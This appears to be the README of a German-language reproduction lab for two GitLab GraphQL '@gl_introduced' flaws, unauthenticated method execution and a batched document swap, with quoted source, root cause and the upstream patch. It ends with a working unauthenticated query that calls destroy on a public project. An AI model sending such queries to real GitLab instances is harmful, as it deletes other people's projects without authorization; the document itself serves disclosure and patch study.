
Bietet PoC-Exploits und Root-Cause-Analyse für zwei Schwachstellen in der GitLab-GraphQL-`@gl_introduced`-Direktive: unauthentifizierte Methodenausführung und Batched Document Swap, mit Upstream-Patch und Live-Nachweisen.
@gl_introducedEin Reproduktionslabor für zwei zusammenhängende Fehler in GitLabs GraphQL-Version-Filter-Funktion (der @gl_introduced-Direktive). Beide befinden sich im selben Funktionsbereich, werden durch denselben Upstream-Patch behoben, und beide ermöglichen es einer GraphQL-Anfrage, Codepfade zu erreichen, die sie nie deklariert hat:
destroy) auf dem Modell hinter einem beliebigen GraphQL-Typ aufrufen, indem sie einfach ein Feld benennt, das nicht existiert, und es mit @gl_introduced markiert.| Betroffen | 18.2 → <18.11.11, 19.0 → <19.0.8, 19.1 → <19.1.6, 19.2 → <19.2.4 |
| Behoben | 18.11.11, 19.0.8, 19.1.6, 19.2.4 |
| Laborziel | gitlab/gitlab-ce:19.2.2-ce.0 (letzter Build vor dem Fix) |
| Auslöser | GraphQL-Direktive @gl_introduced, allein oder innerhalb eines Batches |
docker-compose.yml Live vulnerable target (GitLab CE 19.2.2), :8929
patch-19.2.2-to-19.2.4.diff The upstream fix, version_filter only (the whole bug in ~60 lines)
harness/
live_test_fallback.sh PoC #1 -- live HTTP exploit, fallback-field method execution (unauthenticated)
live_test.sh PoC #2 -- live HTTP exploit, cross-operation document swap
run_poc.rb PoC #3 -- standalone, isolates the swap in plain graphql-ruby
loader.rb Loads the real 19.2.2 (vuln) or 19.2.4 (patched) version_filter source
Dockerfile Minimal ruby:3.3 runner for PoC #3 (no full GitLab needed)
src/
common/ Unchanged upstream files (shared by both variants) + demo schema
vuln/ Real 19.2.2 source of the files the patch touched
patched/ Real 19.2.4 source of the same files
evidence/
live_vuln_fallback_field.txt Captured output of PoC #1 against the live target
live_vuln.txt Captured output of PoC #2 against the live target
standalone_vuln.txt Captured output of PoC #3 (vuln)
standalone_patched.txt Captured output of PoC #3 (patched)
Alles unter src/ ist wörtlicher Upstream-Quellcode, nie neu implementiert — der Loader legt src/vuln oder src/patched über src/common.
Gitlab::Graphql::VersionFilter::FutureFieldFallback ermöglicht es einer Abfrage, ein Feld zu referenzieren, das in einem Typ noch nicht existiert, ohne dass die Anfrage fehlschlägt — gedacht für rollierende Deployments, bei denen das Schema eines alten Knotens ein Feld noch nicht hat, das ein neuerer Knoten bereits ausliefert. Sein get_field-Override prüft, ob das angeforderte Feld fehlt und die Anfrage mit contain_future_fields markiert ist, und liefert in diesem Fall ein synthetisches Feld zurück, anstatt eine Ausnahme auszulösen:
# src/vuln/.../future_field_fallback.rb
def get_field(field_name, context = GraphQL::Query::NullContext.instance)
field = super
return field unless future_field?(name: field_name, field: field, context: context)
fallback_field(name: field_name)
end
def fallback_field(name:)
GraphQL::Schema::Field.new(
owner: self,
name: name,
type: GraphQL::Types::Boolean,
fallback_value: nil
)
end
Das Problem: Dieses GraphQL::Schema::Field wird ohne Resolver-Methode, ohne Resolver-Klasse und ohne Block erstellt. Dann greift die eigene Standard-Feldauflösung von graphql-ruby (graphql-Gem 2.6.3, lib/graphql/schema/field.rb):
inner_object.public_send(@method_sym)
@method_sym ist der Name des Feldes, unterstrichen — also genau die Zeichenkette, die der Angreifer in die Abfrage gesetzt hat. Wenn das Objekt hinter dem GraphQL-Typ (das ActiveRecord-Modell) zufällig eine echte öffentliche Methode ohne Argumente mit diesem Namen besitzt, ruft graphql-ruby sie auf und gibt ihr (typkonvertiertes) Ergebnis zurück. fallback_value: nil greift nur, wenn die Methode wirklich nicht existiert — es verhindert nicht, dass eine echte Methode ausgeführt wird.
Also: Fragt man einen beliebigen Typ nach einem Feld ab, das nach einer echten destruktiven Methode benannt ist — zum Beispiel destroy — und markiert es mit @gl_introduced, damit es bis zur Ausführung überlebt, wird die Methode ausgeführt.
IntroducedTracer implementiert den Rest der Version-Filter-Funktion über zwei graphql-ruby-Trace-Hooks — parse (einmal pro Operation) und execute_query (einmal pro Operation). Im verwundbaren Build verstaut es seinen Zustand pro Operation in einfachen Instanzvariablen auf dem Trace-Objekt:
# src/vuln/.../introduced_tracer.rb
def parse(query_string:)
@original_query_document = super # <-- shared ivar
@contain_future_fields = false
filter = FutureFieldFilter.new(@original_query_document.dup)
filter.visit.tap { @contain_future_fields = filter.contain_future_fields }
end
def execute_query(query:)
return super unless @contain_future_fields
query.instance_variable_set(:@document, @original_query_document) # <-- swap
query.send(:prepare_ast)
query.context[:contain_future_fields] = @contain_future_fields
super
end
Das Problem: graphql-ruby teilt EINE Trace-Instanz über alle Operationen einer Multiplex-Anfrage und parst sie alle, bevor eine davon ausgeführt wird. In einem Batch mit zwei Operationen gilt also:
parse(op1) → @original_query_document = op1_doc, @contain_future_fields = falseparse(op2) → @original_query_document = op2_doc, @contain_future_fields = true
(op2 trägt ein @gl_introduced-Zukunftsfeld)Nach dem Parsen überlebt nur der Zustand der letzten Operation. Dann läuft die Ausführung:
execute_query(op1) → Flag ist true, also wird op1s Dokument mit op2_doc überschrieben und neu vorbereitet → op1s Slot führt op2s Operation aus.op1 hat eine Leseoperation deklariert; es führt den Schreibvorgang von op2 aus.
patch-19.2.2-to-19.2.4.diff behebt beides:
# future_field_fallback.rb -- give the fallback field an explicit resolver,
# so graphql-ruby never falls through to public_send on the field name
resolver_class: Resolvers::NilResolver
# NilResolver#resolve just returns nil, unconditionally -- no dispatch at all
# introduced_tracer.rb -- key the stashed state by each operation's own
# filtered document instead of one shared ivar
@introduced_tracer_data[filtered_document] = { original_document:, contain_future_fields: }
# ...
doc_data = @introduced_tracer_data[query.document] # no cross-operation bleed
query {
project(fullPath: "root/some-public-project") {
id
destroy @gl_introduced(version: "99.0.0")
}
}
Kein Authorization-Header. Eine Operation, kein Batch. destroy ist kein echtes Feld auf Project — es existiert im Schema überhaupt nicht — aber die Direktive veranlasst FutureFieldFilter, es vor der statischen Validierung zu entfernen, und aktiviert contain_future_fields für die Ausführung. Dort gibt get_field ein resolverloses Feld namens destroy zurück, und graphql-ruby ruft project.public_send(:destroy) auf.